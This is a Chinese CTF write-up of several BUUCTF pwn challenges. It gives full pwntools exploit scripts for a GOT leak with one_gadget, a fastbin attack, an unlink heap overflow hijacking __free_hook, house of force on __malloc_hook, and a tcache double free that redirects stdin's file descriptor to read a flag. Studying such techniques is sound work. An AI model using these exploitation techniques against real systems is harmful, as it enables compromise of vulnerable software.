继续水题之旅…
就是泄露got表之后,搞一个onegadget
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29723
conn = remote(HOST ,PORT)
pause()
pos = 0x600AD8
conn.recvuntil("Read location?")
conn.sendline(str(pos))
conn.recvuntil("Value: ")
puts_leak = conn.recvuntil("\n",drop=True)
puts_leak = int(puts_leak,16)
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
onegadget = libc_base + 0xf1147
conn.recvuntil("Jump location?")
conn.sendline(str(onegadget))
#pause()
conn.interactive()
最最简单额fastbin attack,连hook都不用了,直接在功能4中有system函数,只需要修改一个qword_602090
变成零。
通过观察这个全局变量上面有个0x50
,正好可以作为fastbin attack检查得size
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create(size):
conn.recvuntil("choice>")
conn.sendline("1")
conn.recvuntil("size>")
conn.sendline(str(size))
def delete(index):
conn.recvuntil("choice>")
conn.sendline("2")
conn.recvuntil("index>")
conn.sendline(str(index))
def edit(index,content):
conn.recvuntil("choice>")
conn.sendline("3")
conn.recvuntil("index>")
conn.sendline(str(index))
content = content.ljust(8,"\x00")
conn.send(content)
def getshell():
conn.recvuntil("choice>")
conn.sendline("4")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27315
conn = remote(HOST ,PORT)
pause()
key_pos = 0x602080
create(0x40)
delete(0)
edit(0,p64(key_pos))
create(0x40)
create(0x40)
edit(2,p64(0))
getshell()
conn.interactive()
这个题目本质上是考察了IEEE 754标准的double型存储格式,但是呢我们可以偷懒…自己编译一个c文件,然后调试一下copy出来就行了…其实这个玩儿法很多,还见过float shell,那个就很酸爽了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29307
conn = remote(HOST ,PORT)
pause()
payload = "A"*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3fb999999999999a)
conn.sendline(payload)
#pause()
conn.interactive()
这个题目是一个非常好的题目!整个过程中分析了题目好多遍,都没有找到传统的泄露或者是溢出漏洞,最后看wp发现,涉及到一个无限堆的概念,我们先看一下真正漏洞的位置如图
首先我们看到,申请堆比较类型是unsigned int,这保证了申请堆大小不超过0x80,其中函数input_int
调用了下面出现的input
函数,真正的问题就在这个input函数里面
当我们申请堆块大小为0
的时候,系统会申请一个0x20
大小的堆
然后在输入的时候无限制输入,这就是堆溢出的溢出点!然后可以看到free函数会清空table,并且计数器不会减少,我们最多就申请4哥堆
而且还需要注意,edit函数是通过strncat和strcpy函数复制内容的,在编辑的时候需要注意截断问题。具体思路就是用unlink进行攻击,构造fake chunk即可,具体看代码很明显的
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create(size,content):
conn.recvuntil("option--->>")
conn.sendline("1")
conn.recvuntil("Input the length of the note content:(less than 128)")
conn.sendline(str(size))
conn.recvuntil("Input the note content:")
conn.sendline(content)
def show(index):
conn.recvuntil("option--->>")
conn.sendline("2")
conn.recvuntil("Input the id of the note:")
conn.sendline(str(index))
def edit(index,mode,content):
conn.recvuntil("option--->>")
conn.sendline("3")
conn.recvuntil("Input the id of the note:")
conn.sendline(str(index))
conn.recvuntil("do you want to overwrite or append?[1.overwrite/2.append]")
conn.sendline(str(mode))
conn.recvuntil("TheNewContents:")
conn.sendline(content)
def delete(index):
conn.recvuntil("option--->>")
conn.sendline("4")
conn.recvuntil("Input the id of the note:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27680
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so','./note2'], env = {'LD_PRELOAD' : '/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'})
#conn = process("./note2")
#pwnlib.gdb.attach(conn,"b *0x0400BE8\nb *0x400CB3") #0x400F70
#pwnlib.gdb.attach(conn,"b *0x400F70")
pause()
heap_list = 0x602120
name = "Assassin"
address = "Assasin's home"
puts_got = 0x602028
conn.recvuntil("Input your name:")
conn.sendline(name)
conn.recvuntil("Input your address:")
conn.sendline(address)
create(0x10,"0") #0 , 为后面申请malloc(0)预留空间
create(0x80,"1") #1 , unlink 用于free的堆
create(0x80,"2") #2 , 构造fake chunk的位置
delete(0)
#下面需要注意unlink攻击向下合并的限制要求
payload = ""
payload += p64(0)*2
payload += (p64(0) + p64(0xa1) + p64(0)*18) #chunk1
payload += (p64(0) + p64(0x31) + p64(heap_list-0x8) + p64(heap_list) + p64(0)*2) #chunk2 fake chunk!
payload += (p64(0x30) + p64(0x20) + p64(0)*2) #chunk3
payload += (p64(0) + p64(0x21) + p64(0)*2) #chunk4
''''''
create(0,payload) #3 , malloc(0)
delete(1)
payload = "a"*8 + p64(puts_got)
edit(2,1,payload)
show(0)
conn.recvuntil("Content is ")
puts_leak = conn.recvuntil("\n",drop=True)
puts_leak = u64(puts_leak.ljust(8,"\x00"))
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
print "The libc base is",hex(libc_base)
__free_hook = libc_base + libc.dump("__free_hook")
onegadget = libc_base + 0xf02a4 # 0x4526a # 0xf02a4 0xf1147
payload = "A"*0x18 + p64(__free_hook) #就是正常的劫持_free_hook然后实现onegadget
edit(2,1,payload)
edit(2,1,p64(onegadget))
#pause()
conn.interactive()
可以看到题目只有两个功能,一个是add函数,可以malloc各种堆,另一个是puts函数,基本上没有用处。这个题目就不像是传统的堆的题目,需要malloc和free配合达成利用,而且我们注意到两个条件
这下就很容易了…按照步骤来就行了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add(size,content):
conn.recvuntil("2:puts")
conn.sendline("1")
conn.recvuntil("size")
conn.sendline(str(size))
conn.recvuntil("bin addr ")
leak = conn.recvuntil("\n",drop=True)
leak = int(leak,16)
conn.recvuntil("content")
conn.sendline(content)
return leak
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28003
conn = remote(HOST ,PORT)
pause()
libc = ELF("libc-2.23-amd64-buuctf.so")
'''第一步:通过申请很大的chunk,使程序调用mmap泄露libc附近地址'''
leak = add(0x200000,"test")
libc_base = leak + 0x200ff0
print "The libc base is",hex(libc_base)
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
__realloc_hook = __malloc_hook - 0x8
system = libc_base + libc.symbols['system']
puts = libc_base + libc.symbols['puts']
print "The __malloc_hook is",hex(__malloc_hook)
print "The system is",hex(system)
'''第二步:house of force,篡改top chunk的size'''
payload = "\x00"*0x18 + p64(0xffffffffffffffff)
heap_leak = add(0x18,payload)
'''第三步:计算当前chunk到malloc hook位置需要申请一个多大的chunk'''
distance = __malloc_hook - 0x40 - heap_leak
add(distance,payload)
'''第四步:篡改malloc hook'''
payload = "/bin/sh".ljust(0x10,"\x00") + p64(system) + p64(__malloc_hook-0x10)
add(0x20,payload)
conn.recvuntil("2:puts")
conn.sendline("1")
conn.recvuntil("size")
conn.sendline(str(__malloc_hook - 0x10)) #这个输入的位置是存放/bin/sh字符串的位置,因为输入大小没有要求,因此可以将size指向字符串地址
#pause()
conn.interactive()
这个涉及到计算机补码存储的知识,本质上是因为int型存储的范围是-231-231-1,也就是-2147483648~2147483647
然后肯定是边界的问题,所以直接试一试就知道了
(水题水的也太开心了把…)
这个题目,很久违地遇见了IO_FILE Exploitation的问题,通过这个题目学习感受到了光知道各种hook可不行,下面详细分析一下这个题目
题目分析
首先分析一下题目的情况,我们需要知道的首要条件,BUUCTF的ubuntu18的环境是2.27-3ubuntu1_amd64
,这个版本的libc是存在tcache double free
漏洞的
然后看程序功能,需要发现init
函数中打开了flag文件,并且将文件指针指向了666
Sandbox_Loading
发现程序通过prctl函数,把syscall函数都禁用了,用工具seccomp-tools
一看便知,这就打消了我们getshell的想法…
allocate
函数分为两个模式,第一种是可以申请0x30大小的堆,然后再第一个和第二个块写入%d的数字,也就是四字节;第二种是申请0x20大小的堆,再第一个和第二个块写入2字节。还需要注意一个全局变量bool
,只要任意一个模式申请了,就会赋值为1.
然后看delete
函数,注意两点:一是free后没有清除堆地址,存在UAF漏洞,二是free的限制条件为bool==True
,通过交替申请、释放堆可以造成tcache double free
!
show函数,就是打印内容,打印的大小与模式相同。bye_bye
函数猛一看就是输入一个字符串,然后打印字符串,之后exit退出。
解题思路
通过上述的构造条件,我们大致规划一下解题步骤思路:
_IO_2_1_stdin_
中_fileno
(即stdin的文件描述符)位置bye_bye
函数触发漏洞过程挺复杂的,而且有很多细节,别着急,我们从过程中慢慢看~首先放一份完整的代码
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
def add_note(type,number):
conn.recvuntil(">")
conn.sendline("1")
conn.recvuntil(">")
conn.sendline(str(type))
conn.recvuntil("your inode number:")
conn.sendline(str(number))
def remove_note(type):
conn.recvuntil(">")
conn.sendline("2")
conn.recvuntil(">")
conn.sendline(str(type))
def show_note(type):
conn.recvuntil(">")
conn.sendline("3")
conn.recvuntil(">")
conn.sendline(str(type))
def scanf_and_exit():
conn.recvuntil(">")
conn.sendline("4")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29971
conn = remote(HOST ,PORT)
pause()
#libc = ELF("/home/assassin/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
libc = ELF("/home/assassin/tools/python_packages/LibcSearcher/libc-database/other_libc_DIY/libc-2.27-amd64-buuctf.so")
_IO_2_1_stdin_ = libc.symbols["_IO_2_1_stdin_"]
# 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
add_note(1,1)
add_note(2,2)
add_note(2,3)
remove_note(1)
add_note(2,4)
remove_note(2)
add_note(1,1)
remove_note(2) #0x20 tcache double free
show_note(2)
#泄露堆地址的低2位,这里足够我们篡改tcache指向的堆地址了
conn.recvuntil("your short type inode number :")
heap_leak = int(conn.recvuntil("\n",drop=True))
heap_leak = (heap_leak + 0x10000) % 0x10000
print hex(heap_leak)
first_head_addr = heap_leak - 0x80
add_note(2,first_head_addr)
add_note(2,first_head_addr)
add_note(2,0x91) #篡改第一个0x30堆块的size为0x30 + 3*0x20 = 0x90
# 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
for x in range(8):
remove_note(1)
if x != 7:
add_note(2,0)
# 第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin_中_fileno(即stdin的文件描述符)位置
show_note(1)
conn.recvuntil("your int type inode number :")
libc_leak = int(conn.recvuntil("\n",drop=True))
libc_leak = (libc_leak + 0x100000000) % 0x100000000
print "The libc leak is",hex(libc_leak)
__malloc_hook = libc.symbols["__malloc_hook"] % 0x100000000
libc_base = libc_leak - 96 - 0x10 - __malloc_hook
print "The libc base is",hex(libc_base)
_IO_2_1_stdin__fileno = (libc_base + _IO_2_1_stdin_ + 0x70) % 0x100000000
print "The _IO_2_1_stdin_ _fileno is",hex(_IO_2_1_stdin__fileno)
# 第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
# 第五步:同步完成了,构造0x30大小堆块的tcache double free
add_note(1,1)
remove_note(1)
add_note(2,1)
remove_note(1) #顺便构造了0x30大小堆块的double free
add_note(2,(_IO_2_1_stdin__fileno % 0x10000))
# 第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
# 这里我们必须先泄露堆地址低4位,才能利用double free篡改tcache指向地址
show_note(1)
conn.recvuntil("your int type inode number :")
heap_leak = int(conn.recvuntil("\n",drop=True))
heap_leak = (heap_leak + 0x100000000) % 0x100000000
print hex(heap_leak
target = heap_leak + 0x50
add_note(1,target)
add_note(1,target)
add_note(1,666)
add_note(1,666) #至此,成功篡改stdin 的文件描述符为666
# 第六步:运行bye_bye函数触发漏洞
scanf_and_exit()
conn.recvuntil("what do you want to say at last? ")
conn.sendline("f")
#pause()
conn.interactive()
代码步骤拆解
第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin_中_fileno(即stdin的文件描述符)位置
就是通过show函数去泄露就行
第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
第四步和第五步有合并的部分(因为free和malloc需要交替进行,偶和了),这里主要看第四步内容,通过前面已知的libc低2位地址,我们可以计算出修改低2位使得unsorted bin
被切割的剩余部分,原本指向main_arena
的指针指向_IO_2_1_stdin_
中的_fileno
。
先看一下存放的两个堆地址
(中间搞错了换了个图啊,地址可能和前面不太一样)
值得一提的是,_IO_2_1_stdin_
的地址和__malloc_hook
、main_arena
都是相邻的,所以修改低2位就足够了
第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
就是double free的利用,注意中间还需要泄露一次堆地址,因为0x30的利用需要知道低4位地址,前面一次泄露只是知道低2位,不够用。
第六步:运行bye_bye函数触发漏洞
最终结果